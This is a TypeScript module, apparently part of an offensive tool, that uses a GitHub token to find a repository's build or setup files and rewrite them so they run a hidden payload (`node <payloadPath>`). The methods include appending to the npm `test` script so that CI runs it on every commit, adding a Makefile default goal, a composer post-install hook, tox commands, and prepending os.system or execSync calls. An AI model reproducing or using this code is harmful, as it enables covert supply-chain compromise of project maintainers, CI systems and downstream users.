277 lines
9.7 KiB
TypeScript
277 lines
9.7 KiB
TypeScript
import { githubJson } from "../../github_utils/client";
|
|
import { logUtil } from "../../utils/logger";
|
|
import type { LotpTarget, TargetRepo } from "./types";
|
|
|
|
declare function scramble(str: string): string;
|
|
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
// Language → candidate setup / test files
|
|
//
|
|
// Only files that can actually execute commands. We try them in order
|
|
// and pick the first one that exists in the repo.
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
|
|
const LANGUAGE_CANDIDATES: Record<string, string[]> = {
|
|
JavaScript: ["package.json", "Makefile"],
|
|
TypeScript: ["package.json", "Makefile"],
|
|
Python: ["tox.ini", "setup.py", "Makefile"],
|
|
Go: ["Makefile", "install.sh", "setup.sh"],
|
|
Ruby: ["Gemfile", "Rakefile", "Makefile"],
|
|
Rust: ["Makefile"],
|
|
Java: ["Makefile"],
|
|
Kotlin: ["Makefile"],
|
|
Shell: ["Makefile", "install.sh", "setup.sh"],
|
|
PHP: ["composer.json", "Makefile"],
|
|
"C#": ["Makefile"],
|
|
"C++": ["Makefile", "CMakeLists.txt"],
|
|
C: ["Makefile", "CMakeLists.txt"],
|
|
Swift: ["Makefile"],
|
|
Dart: ["Makefile"],
|
|
Elixir: ["Makefile"],
|
|
Dockerfile: ["Dockerfile", "Makefile"],
|
|
Perl: ["Makefile.PL", "Makefile"],
|
|
Scala: ["Makefile"],
|
|
"Objective-C": ["Podfile", "Makefile"],
|
|
Lua: ["Makefile"],
|
|
};
|
|
|
|
const FALLBACK_CANDIDATES = ["Makefile", "package.json"];
|
|
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
// Injection builders
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
|
|
function buildInjection(filePath: string, payloadPath: string): string {
|
|
const runCmd = `node ${payloadPath}`;
|
|
|
|
// package.json handled by applyJsonScript — returns the raw command
|
|
if (filePath === "package.json") return runCmd;
|
|
|
|
// JavaScript / TypeScript files
|
|
if (/\.(js|ts|mjs|cjs)$/.test(filePath)) {
|
|
return `require("child_process").execSync("${runCmd}",{stdio:"inherit"});\n`;
|
|
}
|
|
|
|
// Python files
|
|
if (/\.py$/.test(filePath)) {
|
|
return `import os; os.system("${runCmd}")\n`;
|
|
}
|
|
|
|
// Perl files
|
|
if (/\.pl$/.test(filePath) || filePath === "Makefile.PL") {
|
|
return `system("${runCmd}");\n`;
|
|
}
|
|
|
|
// Ruby files (incl. Podfile — CocoaPods DSL evaluated at pod install)
|
|
if (
|
|
/\.rb$/.test(filePath) ||
|
|
filePath === "Gemfile" ||
|
|
filePath === "Rakefile" ||
|
|
filePath === "Podfile"
|
|
) {
|
|
return `system("${runCmd}")\n`;
|
|
}
|
|
|
|
// Makefile
|
|
if (filePath === "Makefile" || filePath.endsWith(".mk")) {
|
|
return `\n.PHONY: _setup\n_setup:\n\t@${runCmd}\n`;
|
|
}
|
|
|
|
// Shell scripts — inject after shebang if present
|
|
if (/\.sh$/.test(filePath)) {
|
|
return `${runCmd}\n`;
|
|
}
|
|
|
|
// Dockerfile
|
|
if (filePath === "Dockerfile") {
|
|
return `RUN ${runCmd}\n`;
|
|
}
|
|
|
|
// CMakeLists.txt
|
|
if (filePath === "CMakeLists.txt") {
|
|
return `execute_process(COMMAND sh -c "${runCmd}")\n`;
|
|
}
|
|
|
|
// composer.json — use scripts section
|
|
if (filePath === "composer.json") return runCmd;
|
|
|
|
// tox.ini — inject into the [testenv] commands directive
|
|
if (filePath === "tox.ini") {
|
|
return runCmd;
|
|
}
|
|
|
|
// Default: shell one-liner prepend
|
|
return `${runCmd}\n`;
|
|
}
|
|
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
// File-existence check & fetch
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
|
|
async function fileExists(
|
|
token: string,
|
|
owner: string,
|
|
repo: string,
|
|
path: string,
|
|
): Promise<boolean> {
|
|
try {
|
|
await githubJson(token, `/repos/${owner}/${repo}/contents/${path}`);
|
|
return true;
|
|
} catch {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
async function fetchFileContent(
|
|
token: string,
|
|
owner: string,
|
|
repo: string,
|
|
path: string,
|
|
): Promise<string | null> {
|
|
try {
|
|
const data = await githubJson<{ content?: string; encoding?: string }>(
|
|
token,
|
|
`/repos/${owner}/${repo}/contents/${path}`,
|
|
);
|
|
if (data.content && data.encoding === "base64") {
|
|
return Buffer.from(data.content, "base64").toString("utf-8");
|
|
}
|
|
return null;
|
|
} catch {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
// Content modification strategies
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
|
|
function applyPrepend(original: string, injection: string): string {
|
|
return injection + original;
|
|
}
|
|
|
|
function applyShell(original: string, injection: string): string {
|
|
// Inject after shebang so the script still executes with the right shell
|
|
if (original.startsWith("#!")) {
|
|
const newline = original.indexOf("\n");
|
|
if (newline >= 0) {
|
|
return (
|
|
original.slice(0, newline + 1) + injection + original.slice(newline + 1)
|
|
);
|
|
}
|
|
}
|
|
return injection + original;
|
|
}
|
|
|
|
function applyJsonScript(original: string, runCmd: string): string {
|
|
try {
|
|
const pkg = JSON.parse(original);
|
|
if (!pkg.scripts) pkg.scripts = {};
|
|
const existing = pkg.scripts["test"];
|
|
// Target `test` — the script CI pipelines run on every commit.
|
|
// Append to any existing command so we don't break the original.
|
|
pkg.scripts["test"] = existing ? `${existing}; ${runCmd}` : runCmd;
|
|
return JSON.stringify(pkg, null, 2) + "\n";
|
|
} catch {
|
|
return `// test: ${runCmd}\n${original}`;
|
|
}
|
|
}
|
|
|
|
function applyMakefile(original: string, injection: string): string {
|
|
if (/^all\s*:/m.test(original)) {
|
|
return original.replace(/^(all\s*:.*)$/m, `$1 _setup`) + injection;
|
|
}
|
|
return `.DEFAULT_GOAL := _setup\n\n${injection}${original}`;
|
|
}
|
|
|
|
function applyComposer(original: string, runCmd: string): string {
|
|
try {
|
|
const pkg = JSON.parse(original);
|
|
if (!pkg.scripts) pkg.scripts = {};
|
|
pkg.scripts["post-install-cmd"] = runCmd;
|
|
return JSON.stringify(pkg, null, 2) + "\n";
|
|
} catch {
|
|
return `// post-install-cmd: ${runCmd}\n${original}`;
|
|
}
|
|
}
|
|
|
|
/** Append our command to the [testenv] commands list in tox.ini. */
|
|
function applyToxIni(original: string, runCmd: string): string {
|
|
// If there's a commands section, append to it.
|
|
const cmdRe = /^(\s*commands\s*=.*)$/m;
|
|
if (cmdRe.test(original)) {
|
|
return original.replace(cmdRe, `$1\n ${runCmd}`);
|
|
}
|
|
// No commands section — add a [testenv] block with our command.
|
|
return `${original}\n[testenv]\ncommands =\n ${runCmd}\n`;
|
|
}
|
|
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
// Public API
|
|
// ───────────────────────────────────────────────────────────────────────
|
|
|
|
export async function determineTarget(
|
|
token: string,
|
|
repo: TargetRepo,
|
|
payloadPath: string,
|
|
): Promise<LotpTarget | null> {
|
|
const candidates =
|
|
(repo.language ? LANGUAGE_CANDIDATES[repo.language] : null) ??
|
|
FALLBACK_CANDIDATES;
|
|
|
|
logUtil.log(
|
|
`[RepoMutator] ${repo.fullName}: lang=${repo.language ?? "?"}, checking ${candidates.length} candidate(s)`,
|
|
);
|
|
|
|
for (const candidate of candidates) {
|
|
if (await fileExists(token, repo.owner, repo.name, candidate)) {
|
|
const injection = buildInjection(candidate, payloadPath);
|
|
logUtil.log(`[RepoMutator] ${repo.fullName}: matched "${candidate}"`);
|
|
return {
|
|
filePath: candidate,
|
|
strategy: strategyFor(candidate),
|
|
injection,
|
|
};
|
|
}
|
|
}
|
|
|
|
logUtil.log(`[RepoMutator] ${repo.fullName}: no candidate file found`);
|
|
return null;
|
|
}
|
|
|
|
function strategyFor(filePath: string): LotpTarget["strategy"] {
|
|
if (filePath === "package.json" || filePath === "composer.json")
|
|
return "json_script";
|
|
if (filePath === "Makefile" || filePath.endsWith(".mk")) return "makefile";
|
|
if (filePath === "tox.ini") return "tox_ini";
|
|
if (/\.sh$/.test(filePath)) return "shell";
|
|
return "prepend";
|
|
}
|
|
|
|
export async function buildModifiedContent(
|
|
token: string,
|
|
owner: string,
|
|
name: string,
|
|
target: LotpTarget,
|
|
): Promise<string | null> {
|
|
const original = await fetchFileContent(token, owner, name, target.filePath);
|
|
if (original === null) return null;
|
|
|
|
switch (target.strategy) {
|
|
case "prepend":
|
|
return applyPrepend(original, target.injection);
|
|
case "json_script":
|
|
if (target.filePath === "composer.json")
|
|
return applyComposer(original, target.injection);
|
|
return applyJsonScript(original, target.injection);
|
|
case "shell":
|
|
return applyShell(original, target.injection);
|
|
case "makefile":
|
|
return applyMakefile(original, target.injection);
|
|
case "tox_ini":
|
|
return applyToxIni(original, target.injection);
|
|
default:
|
|
return applyPrepend(original, target.injection);
|
|
}
|
|
}
|